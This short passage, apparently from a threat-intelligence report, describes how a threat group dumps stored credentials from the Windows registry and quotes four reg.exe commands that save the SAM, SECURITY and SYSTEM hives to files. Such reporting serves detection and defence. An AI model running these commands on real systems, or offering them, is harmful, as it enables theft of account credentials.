The group dumps credentials stored in registries by using reg.exe: reg.exe save hklm\sam C:\Users\Public\Downloads\sam.hive reg.exe save hklm\sam c:\windows\temp\sa.dit reg.exe save hklm\security c:\windows\temp\se.dit reg.exe save hklm\system c:\windows\temp\sy.dit